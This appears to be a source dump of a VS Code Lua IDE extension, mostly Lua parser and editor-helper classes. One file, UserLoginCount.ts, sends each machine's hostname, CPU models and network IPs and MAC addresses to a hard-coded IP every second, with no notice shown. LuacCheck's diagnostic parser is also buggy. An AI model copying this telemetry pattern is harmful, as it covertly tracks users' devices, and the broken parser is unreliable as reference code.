125 | nextLuaInfo.getLastLuaInfo().type != LuaInfoType.FunctionCall1
126 | ){
127 |
128 |
129 | nextLuaInfo.setEndToken(this.lp.getCurrentToken(null))
130 | }
131 | return luainfos
132 | }
133 | }
134 |
135 | }
136 |
137 |
138 | }
--------------------------------------------------------------------------------
/src/luatool/LuaTableParse.ts:
--------------------------------------------------------------------------------
1 | import {LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | import {CLog} from './Utils'
4 |
5 | export class LuaTableParse {
6 | private lp: LuaParse;
7 |
8 | constructor(luaparse: LuaParse) {
9 | this.lp = luaparse;
10 | }
11 |
12 |
13 | public check(luaInfo:LuaInfo)
14 | {
15 |
16 | luaInfo.type = LuaInfoType.Table;
17 |
18 | while(true)
19 | {
20 | CLog();
21 | var token:TokenInfo = this.lp.getTokenByIndex(this.lp.tokenIndex + 1,"table 未完成");
22 | if(this.lp.consume('}',token,TokenTypes.Punctuator))
23 | {
24 | this.lp.tokenIndex++;
25 | return
26 | }
27 | if(this.lp.isError)return
28 | if(token.type == TokenTypes.Identifier)
29 | {
30 |
31 | var nextToken:TokenInfo = this.lp.getTokenByIndex(this.lp.tokenIndex + 2,"table 未完成");
32 | if(this.lp.isError)return
33 | if(this.lp.consume('=',nextToken,TokenTypes.Punctuator))
34 | {
35 | var fluaInfo:LuaInfo = new LuaInfo(nextToken);
36 | fluaInfo.name = token.value;
37 | fluaInfo.endToken = nextToken;
38 | var leftLuaInfos:Array = new Array();
39 | leftLuaInfos.push(fluaInfo)
40 | this.lp.tokenIndex+= 3;
41 | luaInfo.tableFileds.push(fluaInfo);
42 | this.lp.luaSetValue.check(false,false,leftLuaInfos);
43 |
44 | }else
45 | {
46 | this.lp.tokenIndex++;
47 | this.lp.luaSetValue.check(false,false,null);
48 |
49 | }
50 | }
51 | else if(this.lp.consume('[',token,TokenTypes.Punctuator))
52 | {
53 | this.lp.tokenIndex += 2;
54 | var startIndex:number = this.lp.tokenIndex;
55 | var newLuaInfo:LuaInfo = new LuaInfo(token)
56 | this.lp.luaValidateBracket_G.check(newLuaInfo,false)
57 | var endIndex:number =this.lp.tokenIndex;
58 | var nextToken:TokenInfo = this.lp.getNextToken("代码未完成")
59 | if(this.lp.isError)return
60 | if(this.lp.consume('=',nextToken,TokenTypes.Punctuator))
61 | {
62 |
63 | if(endIndex - startIndex == 1)
64 | {
65 | var token:TokenInfo = this.lp.tokens[startIndex];
66 | newLuaInfo.name = "["+ token.value +"]"
67 | newLuaInfo.tableFiledType =1;
68 | luaInfo.tableFileds.push(newLuaInfo);
69 |
70 | }
71 | var leftLuaInfos:Array = new Array();
72 | leftLuaInfos.push(newLuaInfo)
73 | this.lp.tokenIndex+= 1;
74 | this.lp.luaSetValue.check(false,false,leftLuaInfos);
75 |
76 | }else
77 | {
78 | this.lp.setError(nextToken,"缺少 '='")
79 | return
80 |
81 | }
82 |
83 | }
84 | else
85 | {
86 | this.lp.tokenIndex++;
87 | this.lp.luaSetValue.check(false,false,null)
88 | }
89 | token = this.lp.getTokenByIndex(this.lp.tokenIndex + 1,"table 未完成");
90 | if(this.lp.consume(',',token,TokenTypes.Punctuator) || this.lp.consume(';',token,TokenTypes.Punctuator))
91 | {
92 | this.lp.tokenIndex++;
93 | var endToken:TokenInfo = this.lp.getTokenByIndex(this.lp.tokenIndex + 1,"table 未完成");
94 | if(this.lp.consume('}',endToken,TokenTypes.Punctuator))
95 | {
96 | // luaInfo.endToken = endToken;
97 | this.lp.tokenIndex++;
98 | return
99 | }else
100 | {
101 | continue;
102 | }
103 | }else if(this.lp.consume('}',token,TokenTypes.Punctuator))
104 | {
105 | // luaInfo.endToken = token;
106 | this.lp.tokenIndex++;
107 | return
108 | }else
109 | {
110 | this.lp.setError(token,"table 定义出现意外字符")
111 | return
112 | }
113 |
114 | }
115 | }
116 | }
--------------------------------------------------------------------------------
/src/luatool/LuaValidateBracket_G.ts:
--------------------------------------------------------------------------------
1 | import {LuaInfo, LuaInfoTypeValue, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | import {CLog} from './Utils'
4 | export class LuaValidateBracket_G {
5 | private lp: LuaParse;
6 |
7 | constructor(luaparse: LuaParse) {
8 | this.lp = luaparse;
9 | }
10 | /**验证中括号 */
11 | public check(luaInfo: LuaInfo, isNext: boolean): LuaInfo {
12 |
13 | var exToken = this.lp.getCurrentToken("代码未完成");
14 | if (exToken == null) return null;
15 | if (this.lp.consume(']', exToken, TokenTypes.Punctuator)) {
16 | this.lp.setError(exToken, "[] 中间不能为空! ");
17 | return null;
18 | }
19 | var luainfos: Array = new Array()
20 | while (true) {
21 | CLog();
22 | var nextLuaInfo: LuaInfo = new LuaInfo(this.lp.getCurrentToken(null))
23 |
24 | luainfos.push(nextLuaInfo)
25 | this.lp.luaSetValue.check(false,false,[nextLuaInfo])
26 |
27 |
28 | if (this.lp.isError) return null
29 | var nextToken: TokenInfo = this.lp.getNextToken("代码未完成");
30 | if (this.lp.isError) return
31 | //验证是否为括号 ]
32 | //判断二元
33 | if (this.lp.consume(']', nextToken, TokenTypes.Punctuator)) {
34 | //这里检查表达式的合法性
35 |
36 | this.lp.luaCheckLuaInfos.check(luainfos, luaInfo)
37 | luaInfo.bracket_Gs = luainfos;
38 | luaInfo.valueType = LuaInfoTypeValue.ANY;
39 | if (!isNext) return
40 | nextToken = this.lp.getTokenByIndex(this.lp.tokenIndex + 1, null);
41 | if (nextToken) {
42 |
43 |
44 | if (this.lp.consume('.', nextToken, TokenTypes.Punctuator)) {
45 | this.lp.tokenIndex++;
46 | var newLuaInfo: LuaInfo = new LuaInfo(this.lp.getCurrentToken(null))
47 | nextToken = this.lp.getNextToken("代码未完成")
48 | if (this.lp.isError) return;
49 | if (nextToken.type != TokenTypes.Identifier) {
50 | this.lp.setError(nextToken, "意外的字符")
51 | return;
52 |
53 | } else {
54 |
55 | }
56 |
57 | luaInfo.setNextLuaInfo(newLuaInfo);
58 | this.lp.luaChuckInfo.check(newLuaInfo, true)
59 |
60 | if (this.lp.isError) return
61 | return;
62 | } else if (this.lp.consume('[', nextToken, TokenTypes.Punctuator)) {
63 | this.lp.tokenIndex += 2;
64 | this.lp.luaValidateBracket_G.check(luaInfo, isNext)
65 | break;
66 | }
67 | else if (this.lp.consume('(', nextToken, TokenTypes.Punctuator)) {
68 |
69 | this.lp.tokenIndex++;
70 | this.lp.functionCall.check(luaInfo, true, false);
71 | break;
72 | }
73 | else if (this.lp.consume(':', nextToken, TokenTypes.Punctuator)) {
74 | this.lp.tokenIndex += 2;
75 | if (luainfos.length == 1) {
76 |
77 | this.lp.luaChuckInfo.checkModuleFunctionCall(luaInfo, true)
78 |
79 | } else {
80 | this.lp.luaChuckInfo.checkModuleFunctionCall(luaInfo, true)
81 | }
82 | luaInfo.type = LuaInfoType.FunctionCall1;
83 | return;
84 | } else if (this.lp.consume('=', nextToken, TokenTypes.Punctuator)) {
85 | luaInfo.getTopLuaInfo().isNextCheck = true
86 | return
87 | } else return
88 | } else
89 | {
90 | return
91 | }
92 | }
93 |
94 | if (this.lp.luaValidateOperator.check(nextToken)) {
95 | this.lp.tokenIndex++;
96 | nextLuaInfo.operatorToken = nextToken
97 | continue
98 | } else {
99 | this.lp.setError(nextToken, "错误的字符")
100 | return
101 | }
102 | }
103 | }
104 | }
--------------------------------------------------------------------------------
/src/luatool/LuaValidateBracket_M.ts:
--------------------------------------------------------------------------------
1 | import {LuaInfo, TokenInfo, LuaInfoTypeValue, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | import {CLog} from './Utils'
4 | /**验证 ( */
5 | export class LuaValidateBracket_M {
6 | private lp: LuaParse;
7 |
8 | constructor(luaparse: LuaParse) {
9 | this.lp = luaparse;
10 | }
11 |
12 | /**验证 小括号( */
13 | public check(luaInfo: LuaInfo): boolean {
14 | //缓存 一元运算符号
15 | // var unary: string = luaInfo.unary
16 |
17 | // luaInfo.unary = ""
18 | var exToken = this.lp.getCurrentToken( "代码未完成");
19 | if (exToken == null) return false;
20 | if (this.lp.consume(')', exToken, TokenTypes.Punctuator)) {
21 | this.lp.setError(exToken, "() 中间不能为空! ");
22 |
23 | return false
24 | }
25 | var luainfos:Array = new Array()
26 | while (true) {
27 | CLog();
28 | var nextLuaInfo: LuaInfo = new LuaInfo(this.lp.getCurrentToken(null))
29 | luainfos.push(nextLuaInfo)
30 | this.lp.luaCheckUnary.check(nextLuaInfo);
31 | this.lp.luaChuckInfo.check(nextLuaInfo,false)
32 |
33 | if (this.lp.isError) return null
34 | var nextToken:TokenInfo = this.lp.getNextToken("代码未完成");
35 | if(this.lp.isError)return
36 | //验证是否为括号 ]
37 | //判断二元
38 | if (this.lp.consume(')', nextToken, TokenTypes.Punctuator)) {
39 | //这里检查表达式的合法性
40 |
41 | this.lp.luaCheckLuaInfos.check(luainfos,luaInfo)
42 | nextLuaInfo.type = LuaInfoType.Field;
43 | nextLuaInfo.setEndToken(this.lp.getCurrentToken(null))
44 | luaInfo.valueType = LuaInfoTypeValue.ANY;
45 | luaInfo.type = LuaInfoType.Bracket_M
46 |
47 | nextToken = this.lp.getTokenByIndex(this.lp.tokenIndex + 1, null);
48 | if (nextToken) {
49 | if (this.lp.consume('.', nextToken, TokenTypes.Punctuator)) {
50 | this.lp.tokenIndex++;
51 | var newLuaInfo: LuaInfo = new LuaInfo(this.lp.getCurrentToken(null))
52 | nextToken = this.lp.getNextToken("代码未完成")
53 | if (this.lp.isError) return;
54 | if (nextToken.type != TokenTypes.Identifier) {
55 | this.lp.setError(nextToken, "意外的字符")
56 | return;
57 |
58 | } else {
59 |
60 | }
61 |
62 | luaInfo.setNextLuaInfo(newLuaInfo);
63 | this.lp.luaChuckInfo.check(newLuaInfo, true)
64 |
65 | if (this.lp.isError) return
66 | return;
67 | } else if (this.lp.consume('[', nextToken, TokenTypes.Punctuator)) {
68 | this.lp.tokenIndex += 2;
69 | this.lp.luaValidateBracket_G.check(luaInfo, true)
70 | break;
71 | }
72 | else if (this.lp.consume('(', nextToken, TokenTypes.Punctuator)) {
73 |
74 | this.lp.tokenIndex++;
75 | this.lp.functionCall.check(luaInfo, true, false);
76 | break;
77 | }
78 | else if (this.lp.consume(':', nextToken, TokenTypes.Punctuator)) {
79 | this.lp.tokenIndex += 2;
80 | if (luainfos.length == 1) {
81 | this.lp.luaChuckInfo.checkModuleFunctionCall(luaInfo, true)
82 | } else {
83 | this.lp.luaChuckInfo.checkModuleFunctionCall(luaInfo, true)
84 | }
85 | luaInfo.type = LuaInfoType.FunctionCall1;
86 | return;
87 | } else if (this.lp.consume('=', nextToken, TokenTypes.Punctuator)) {
88 | return
89 | } else return
90 | }
91 | }
92 | if( this.lp.luaValidateOperator.check(nextToken))
93 | {
94 | nextLuaInfo.setEndToken(this.lp.getUpToken())
95 | this.lp.tokenIndex++;
96 | nextLuaInfo.operatorToken = nextToken
97 |
98 | continue
99 | }else
100 | {
101 | this.lp.setError(nextToken, "错误的字符")
102 | return
103 | }
104 | }
105 | }
106 |
107 | }
--------------------------------------------------------------------------------
/src/luatool/LuaValidateConstValue.ts:
--------------------------------------------------------------------------------
1 | import {LuaInfo, LuaInfoTypeValue,TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | /**验证 是否为一个可以复制的 token */
4 | export class LuaValidateConstValue {
5 | private lp: LuaParse;
6 |
7 | constructor(luaparse: LuaParse) {
8 | this.lp = luaparse;
9 | }
10 | /**
11 | * 验证是否是一个可以符值的token
12 | */
13 | public check(token: TokenInfo, luaInfo: LuaInfo): boolean {
14 |
15 | if (token.type == TokenTypes.BooleanLiteral) {
16 | if(luaInfo.isVar== true)
17 | {
18 | this.lp.setError(token,"变量申明不能为 boolean")
19 | return
20 | }
21 | luaInfo.type = LuaInfoType.BOOLEAN
22 | luaInfo.valueType = LuaInfoTypeValue.BOOL
23 | return true
24 | }
25 | else if (token.type == TokenTypes.NilLiteral) {
26 | if(luaInfo.isVar== true)
27 | {
28 | this.lp.setError(token,"变量申明不能为 nil")
29 | return
30 | }
31 | luaInfo.type = LuaInfoType.NIL
32 | luaInfo.valueType = LuaInfoTypeValue.NIL
33 | return true
34 | }
35 | else if (token.type == TokenTypes.NumericLiteral) {
36 | if(luaInfo.isVar== true)
37 | {
38 | this.lp.setError(token,"变量申明不能为 number")
39 | return
40 | }
41 | luaInfo.valueType = LuaInfoTypeValue.NUMBER
42 | luaInfo.type = LuaInfoType.Number
43 | return true
44 | }
45 | else if (token.type == TokenTypes.StringLiteral) {
46 | if(luaInfo.isVar== true)
47 | {
48 | this.lp.setError(token,"变量申明不能为 string")
49 | return
50 | }
51 | luaInfo.valueType = LuaInfoTypeValue.STRING
52 |
53 | luaInfo.type = LuaInfoType.STRING
54 | return true
55 | }
56 | else if (token.type == TokenTypes.VarargLiteral) {
57 | if(luaInfo.isVar== true)
58 | {
59 | this.lp.setError(token,"变量申明不能为 ...")
60 | return
61 | }
62 | luaInfo.valueType = LuaInfoTypeValue.ANY
63 | luaInfo.type = LuaInfoType.Vararg
64 | return true
65 | }
66 | else if(token.type == TokenTypes.Identifier)
67 | {
68 | luaInfo.type = LuaInfoType.Field
69 | luaInfo.valueType = LuaInfoTypeValue.ANY
70 | return true
71 | }
72 | else {
73 | if(!this.lp.consume('(',token,TokenTypes.Punctuator))
74 | {
75 | this.lp.setError(this.lp.getCurrentToken(null),"意外的字符");
76 | this.lp.tokenIndex--;
77 |
78 | }
79 | return false
80 | }
81 |
82 | }
83 | }
--------------------------------------------------------------------------------
/src/luatool/LuaValidateOperator.ts:
--------------------------------------------------------------------------------
1 | import {LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | /**验证 二元运算符号 */
4 | export class LuaValidateOperator {
5 | private lp: LuaParse;
6 |
7 | constructor(luaparse: LuaParse) {
8 | this.lp = luaparse;
9 | }
10 |
11 | /**
12 | * 判断一个token 是否是一个运算符号 二元
13 | */
14 | public check(token: TokenInfo): boolean {
15 | if (token.type === TokenTypes.Punctuator || token.type == TokenTypes.Keyword) {
16 | var value = token.value;
17 | if (
18 | value == '+' ||
19 | value == '-' ||
20 | value == '*' ||
21 | value == '/' ||
22 | value == '>' ||
23 | value == '<' ||
24 | value == '>=' ||
25 | value == '<=' ||
26 | value == '%' ||
27 | value == '&' ||
28 | value == '~' ||
29 | value == '|' ||
30 | value == '<<' ||
31 | value == '>>' ||
32 | value == '^') {
33 | return true
34 | }
35 | else if (value == '..') {
36 | return true
37 | }
38 | else if (
39 | value == '==' ||
40 | value == '~=' ||
41 | value == 'and' ||
42 | value == 'or'
43 | ) {
44 | return true
45 | } else return false
46 | } else return false
47 | }
48 |
49 |
50 | }
--------------------------------------------------------------------------------
/src/luatool/LuaWhileLogic.ts:
--------------------------------------------------------------------------------
1 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType} from './TokenInfo';
2 | import {LuaParse} from './LuaParse'
3 | import {CLog} from './Utils'
4 | export class LuaWhileLogic {
5 | private lp: LuaParse;
6 | constructor(luaparse: LuaParse) {
7 | this.lp = luaparse;
8 | }
9 |
10 | /**
11 | * 检查if 语句
12 | */
13 | public check(parent: LuaInfo): boolean {
14 | var token: TokenInfo = this.lp.getCurrentToken("代码未完成")
15 | if (this.lp.consume('while', token, TokenTypes.Keyword)) {
16 | this.lp.tokenIndex++;
17 | var luaInfo:LuaInfo = new LuaInfo(token)
18 | luaInfo.type = LuaInfoType.WHILE
19 | //先判断表达式 再判断 do
20 | this.lp.luaSetValue.check(true,false,null)
21 | if(this.lp.isError)return false
22 | var doToken:TokenInfo = this.lp.getNextToken("代码未完成")
23 | if(this.lp.isError)return false
24 | if(this.lp.consume('do',doToken,TokenTypes.Keyword))
25 | {
26 | this.lp.tokenIndex++;
27 | var isEnd:boolean = this.lp.setLuaInfo(luaInfo,function(luaParse:LuaParse)
28 | {
29 | var token:TokenInfo = luaParse.getTokenByIndex(luaParse.tokenIndex,"代码未完成")
30 | if(luaParse.isError)return false
31 | if(luaParse.consume('end',token,TokenTypes.Keyword))
32 | {
33 | luaParse.tokenIndex++;
34 | luaParse.checkSemicolons()
35 | return true
36 | }
37 | return false
38 | },this.lp.luaForLogic.checkBrreak)
39 | if(this.lp.isError)return false
40 | if(isEnd)
41 | {
42 | return true
43 | }else
44 | {
45 | this.lp.setError(this.lp.getLastToken(),"while 没有 结束 缺少 end")
46 | return false
47 | }
48 |
49 |
50 |
51 | }else
52 | {
53 | this.lp.setError(doToken,"应该为 do ")
54 | return false
55 | }
56 |
57 | }else
58 | return false
59 |
60 | }
61 | }
--------------------------------------------------------------------------------
/src/luatool/LuacCheck.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | var path = require('path');
3 | import child_process = require('child_process');
4 | import { ExtensionManager } from './ex/ExtensionManager'
5 | export class LuacCheck{
6 | //默认为5.1
7 | private luaPath:string;
8 | constructor()
9 | {
10 | // this.luaPath = this.getLuacPath()
11 | }
12 |
13 | private parseDiagnostics(data) {
14 | const diagnostics = [];
15 | var errorRegex = /.+: .+:([0-9]+): (.+) near.*[<'](.*)['>]/;
16 | // const errorRegex = /^.*:(\d+):(\d+)-(\d+): \(([EW]?)(\d+)\) (.*)$/mg;
17 | const matches = data.match(errorRegex);
18 | if (!matches) {
19 | return [];
20 | }
21 | while (true) {
22 | const m = errorRegex.exec(data);
23 | if (!m) {
24 | break;
25 | }
26 | const [, lineStr, columnStr, endColumnStr, type, codeStr, message] = m;
27 | const line = Number(lineStr) - 1;
28 | const column = Number(columnStr) - 1;
29 | const columnEnd = Number(endColumnStr);
30 | const code = Number(codeStr);
31 | // const mapSeverity = () => {
32 | // switch (type) {
33 | // case 'E':
34 | // return vscode_languageserver_1.DiagnosticSeverity.Error;
35 | // case 'W':
36 | // return vscode_languageserver_1.DiagnosticSeverity.Warning;
37 | // default:
38 | // return vscode_languageserver_1.DiagnosticSeverity.Information;
39 | // }
40 | // };
41 | var range:vscode.Range = new vscode.Range(new vscode.Position(line,column),new vscode.Position(line,columnEnd))
42 |
43 | diagnostics.push({
44 | range: range,
45 | severity: vscode.DiagnosticSeverity.Error,
46 | code,
47 | source: 'luacheck',
48 | message
49 | });
50 | }
51 | return diagnostics;
52 | }
53 |
54 | /**
55 | * checkLua
56 | */
57 | public checkLua(uri:vscode.Uri,documentText:vscode.TextDocument) {
58 | // var options = {
59 | // encoding: 'utf8',
60 | // timeout: 0,
61 | // maxBuffer: 1024 * 1024,
62 | // cwd: this.luaPath,
63 | // env: null
64 | // };
65 |
66 | var exepath = path.join(this.luaPath,"luac.exe")
67 | var dir = path.dirname(uri.fsPath);
68 | const process = child_process.spawn(exepath, ['-', '--no-color', '--ranges', '--codes'], {
69 | cwd: dir
70 | });
71 | try {
72 | var xx = documentText.getText()
73 | process.stdin.write(xx);
74 | process.stdin.end();
75 | }
76 | catch (err) { }
77 | process.stdout.on('data', (data) => {
78 | var xx = data.toString()
79 | var c = 1
80 | });
81 | process.stderr.on('data', (data) => {
82 | this.parseDiagnostics( data.toString())
83 | var c = 1
84 | });
85 | process.on('error', (err) => {
86 | var xx = err.message
87 | var c = 1
88 | });
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 | // const dir = path.dirname(uri.fsPath);
103 | // var exepath = path.join(this.luaPath,"luac.exe")
104 | // const process = child_process.spawn("luac.exe" , [uri.fsPath], {
105 | // cwd: this.luaPath
106 | // });
107 | // // try {
108 | // // process.stdin.write(documentText.getText());
109 | // // process.stdin.end();
110 | // // }
111 | // // catch (err) { }
112 | // process.stdout.on('data', (data) => {
113 | // var xx = data.toString()
114 | // });
115 | // process.stderr.on('data', (data) => {
116 | // var xx = data.toString()
117 | // console.log(xx)
118 | // });
119 | // process.on('error', (err) => {
120 | // var x = err.message;
121 | // });
122 |
123 | // var buff = child_process.spawnSync("luac", ["-e", 'require("formatter")("' + luascriptPath + '")'], options)
124 |
125 |
126 |
127 | // var result = buff.stdout.toString().trim();
128 | }
129 | // public getLuacPath():string
130 | // {
131 | // var os = process.platform;
132 | // var extensionPath = ExtensionManager.em.luaIdeConfigManager.extensionPath
133 | // var luaVersion = ExtensionManager.em.luaIdeConfigManager.luaVersion
134 | // extensionPath = path.join(extensionPath,"runtime")
135 | // if (os == "linux") {
136 |
137 | // } else if (os == "darwin") {
138 | // extensionPath = path.join(extensionPath,"mac",luaVersion)
139 | // } else if (os == "win32") {
140 | // extensionPath = path.join(extensionPath,"win",luaVersion)
141 | // }
142 |
143 | // return extensionPath
144 |
145 | // }
146 | }
--------------------------------------------------------------------------------
/src/luatool/UserLoginCount.ts:
--------------------------------------------------------------------------------
1 | var os = require("os")
2 | var http = require('http');
3 | var querystring = require('querystring');
4 | import vscode = require('vscode');
5 | export class UserLoginCount {
6 | public barItem:vscode.StatusBarItem;
7 | public constructor(){
8 |
9 | this.barItem = vscode.window.createStatusBarItem(vscode.StatusBarAlignment.Right);
10 | this.barItem.show();
11 |
12 | this.httpRequest();
13 | var self = this;
14 | setInterval(function(){
15 | self.httpRequest();
16 | },1000)
17 | }
18 | public getKey() {
19 | var data: any = {};
20 | data.osType = os.type();
21 | data.hostName = os.hostname();
22 | data.platform = os.platform();
23 | var cups = os.cpus();
24 | var cupinfos = new Array();
25 | var length = cups.length;
26 | for (var index = 0; index < cups.length; index++) {
27 | cupinfos.push(cups[index].model);
28 | }
29 | data.cupinfos = cupinfos;
30 | var networkInfos = new Array();
31 | var networkInfo = os.networkInterfaces();
32 | var interfaces = networkInfo;
33 | for (var devName in networkInfo) {
34 | var ifaces = new Array();
35 | for (var i = 0; i < interfaces[devName].length; i++) {
36 | var face = interfaces[devName][i];
37 | ifaces.push({
38 | address: face.address,
39 | mac: face.mac
40 | });
41 | }
42 | networkInfos.push({
43 | devName: devName,
44 | ifaces: ifaces
45 | });
46 | }
47 | data.networkInfos = networkInfos;
48 | var jsonStr = JSON.stringify(data);
49 | return jsonStr;
50 | }
51 | public httpRequest() {
52 | var key = this.getKey();
53 | var data:any = {key :key}
54 | //发送 http Post 请求
55 | var postData = querystring.stringify(data);
56 | var options = {
57 | hostname: '139.199.156.200',
58 |
59 | port: 8081,
60 | // hostname: 'localhost',
61 |
62 | // port: 26736,
63 | path: "/userCount.ashx",
64 | method: 'POST',
65 | headers: {
66 | 'Content-Type': 'application/x-www-form-urlencoded',
67 | 'Content-Length': postData.length
68 | }
69 | }
70 | var self = this;
71 | var req = http.request(options, function (res) {
72 | res.setEncoding('utf-8');
73 | var resData = [];
74 | res.on('data', function (response) {
75 | resData.push(response);
76 | });
77 | res.on('end', function() {
78 | var returnData = JSON.parse(resData.join(''));
79 | self.barItem.text= "LuaIde 在线用户:"+returnData.result;
80 | self.barItem.show();
81 | })
82 | });
83 | req.on('error', function (err) {
84 | console.log(err)
85 | });
86 | req.write(postData+ "\n");
87 | req.end();
88 |
89 | }
90 | }
--------------------------------------------------------------------------------
/src/luatool/ex/AutoLuaComment.ts:
--------------------------------------------------------------------------------
1 |
2 | import vscode = require('vscode');
3 | import { ProviderUtils } from "../provider/providerUtils";
4 | import { TokenInfo, TokenTypes } from "../TokenInfo";
5 | import { ExtensionManager } from "./ExtensionManager";
6 |
7 | export class AutoLuaComment {
8 |
9 | public static checkComment(event: vscode.TextDocumentChangeEvent): boolean {
10 | if (event.document.languageId == "lua") {
11 | if (event.contentChanges.length == 1) {
12 | if (event.contentChanges[0].text == "-") {
13 | var curentLine = event.contentChanges[0].range.start.line
14 | let lineText = event.document.lineAt(curentLine).text;
15 | if (lineText.trim() == "---") {
16 | var tabStrs = lineText.split("---")
17 | var tabStr = ""
18 | if(tabStrs.length == 2){
19 | tabStr = tabStrs[0]
20 | }
21 |
22 | if (curentLine < event.document.lineCount - 1) {
23 | var range: vscode.Range = new vscode.Range(
24 | new vscode.Position(curentLine + 1, 0),
25 | new vscode.Position(event.document.lineCount, 10000))
26 | var text = event.document.getText(range)
27 | if (text != null && text != "") {
28 | var tokens: Array = ProviderUtils.getTokenByText(text)
29 | //检查是不是loocal function 或者 function
30 | var insterText = this.getParams(tokens,tabStr)
31 | if (insterText != "") {
32 | var editor = vscode.window.activeTextEditor;
33 | editor.edit(function (edit) {
34 | edit.insert(event.contentChanges[0].range.start, insterText)
35 | })
36 | }
37 |
38 | }
39 |
40 |
41 | }
42 |
43 | }
44 |
45 |
46 |
47 | // console.log(lineText)
48 | }
49 | }
50 | }
51 | return false
52 |
53 | }
54 | private static getParams(tokens: Array,tabStr:string) {
55 | if (tokens.length > 0) {
56 | var funIndex: number = 0
57 | if (tokens[0].type == TokenTypes.Keyword && tokens[0].value == "function") {
58 | funIndex = 1
59 | } else {
60 | if (tokens.length > 1) {
61 | if ((tokens[0].type == TokenTypes.Keyword && tokens[0].value == "local") &&
62 | (tokens[1].type == TokenTypes.Keyword && tokens[1].value == "function")
63 | ) {
64 | funIndex = 2
65 | }
66 | }
67 | }
68 | var isInster: boolean = false
69 | //检查是否是方法
70 | while (funIndex < tokens.length) {
71 | var tokenInfo: TokenInfo = tokens[funIndex]
72 | if (tokenInfo.type == TokenTypes.Identifier) {
73 | funIndex++;
74 | if (funIndex >= tokens.length) {
75 | break;
76 | }
77 | var nextToken: TokenInfo = tokens[funIndex]
78 | if (nextToken.type == TokenTypes.Punctuator && nextToken.value == "(") {
79 | funIndex++;
80 | isInster = true;
81 | break;
82 | } else if (nextToken.type == TokenTypes.Punctuator && (nextToken.value == "." || nextToken.value == ":")) {
83 | funIndex++;
84 | continue;
85 | } else {
86 |
87 | break;
88 | }
89 | } else {
90 | isInster = false;
91 | break;
92 | }
93 |
94 | }
95 |
96 | var params: Array = new Array();
97 | if (isInster) {
98 |
99 | isInster = false
100 | //检查参数
101 | while (funIndex < tokens.length) {
102 | var tokenInfo: TokenInfo = tokens[funIndex]
103 | if (tokenInfo.type == TokenTypes.Punctuator && tokenInfo.value == ")") {
104 | isInster = true
105 | break
106 | } else if (tokenInfo.type == TokenTypes.Identifier) {
107 | params.push(tokenInfo.value)
108 | funIndex++;
109 | if (funIndex >= tokens.length) {
110 | break;
111 | }
112 | var nextToken: TokenInfo = tokens[funIndex]
113 | if (nextToken.type == TokenTypes.Punctuator && nextToken.value == ")") {
114 | isInster = true
115 | break;
116 | } else if (nextToken.type == TokenTypes.Punctuator && nextToken.value == ",") {
117 | funIndex++;
118 | continue;
119 | } else {
120 | break;
121 | }
122 | }else if(tokenInfo.type == TokenTypes.VarargLiteral){
123 | funIndex++;
124 | if (funIndex >= tokens.length) {
125 | break;
126 | }
127 | var nextToken: TokenInfo = tokens[funIndex]
128 | if (nextToken.type == TokenTypes.Punctuator && nextToken.value == ")") {
129 | params.push("args")
130 | isInster = true
131 | break
132 | }else
133 | {
134 | break;
135 | }
136 |
137 | }else{
138 | break;
139 | }
140 | }
141 | }
142 | if (isInster) {
143 | //--------------------------------------
144 | var insterText = "==============================--\r\n"
145 | insterText += tabStr+"--desc:\r\n"
146 | var date: Date = new Date();
147 | var dateStr: string = ExtensionManager.em.luaIdeConfigManager.datepattern(date, "yyyy-MM-dd hh:mm:ss")
148 | insterText += tabStr+"--time:"+dateStr + "\r\n"
149 | params.forEach(param => {
150 | insterText += tabStr+"--@" + param + ":\r\n";
151 | })
152 | insterText += tabStr+"--@return \r\n"
153 | insterText += tabStr+"--==============================-"
154 | return insterText
155 | } else {
156 | return ""
157 | }
158 |
159 |
160 | }
161 |
162 | }
163 | }
--------------------------------------------------------------------------------
/src/luatool/ex/ChangeCaseExtension.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 |
3 | export function toUpperCase(e)
4 | {
5 | runChangeCase(function(txt:string){
6 | return txt.toUpperCase()
7 | })
8 | }
9 | export function toLowerCase(e)
10 | {
11 | runChangeCase(function(txt:string){
12 | return txt.toLowerCase()
13 | })
14 | }
15 |
16 | function runChangeCase(converTextFun:Function)
17 | {
18 | var editor = vscode.window.activeTextEditor;
19 | var d = editor.document;
20 | var sel = editor.selections;
21 | editor.edit(function (edit) {
22 | // itterate through the selections and convert all text to Upper
23 | for (var x = 0; x < sel.length; x++) {
24 | var txt = d.getText(new vscode.Range(sel[x].start, sel[x].end));
25 | txt = converTextFun(txt)
26 | edit.replace(sel[x], txt);
27 |
28 | }
29 | });
30 | }
31 |
32 |
33 |
--------------------------------------------------------------------------------
/src/luatool/ex/CreateFunction.ts:
--------------------------------------------------------------------------------
1 | import vscode = require('vscode');
2 | import { ProviderUtils } from '../provider/providerUtils'
3 | import { LuaParse } from '../LuaParse'
4 | import * as ExFileUtils from '../ex/ExFileUtils'
5 | import { ExtensionManager } from '../ex/ExtensionManager'
6 | import { getFunctionParameter } from '../ex/Template/FunctionParameter'
7 |
8 |
9 | import { LuaInfo, TokenInfo, TokenTypes, LuaComment, LuaRange, LuaErrorEnum, LuaError, LuaInfoType } from '../TokenInfo';
10 |
11 | export function createFunction(e) {
12 |
13 | var editor = vscode.window.activeTextEditor;
14 | var functionName: string = editor.document.getText(editor.selection)
15 | functionName = functionName.trim();
16 | if (functionName == null || functionName == "") {
17 | vscode.window.showInformationMessage("未选择方法名!")
18 | }
19 | getFunctionParameter(function (args: Array) {
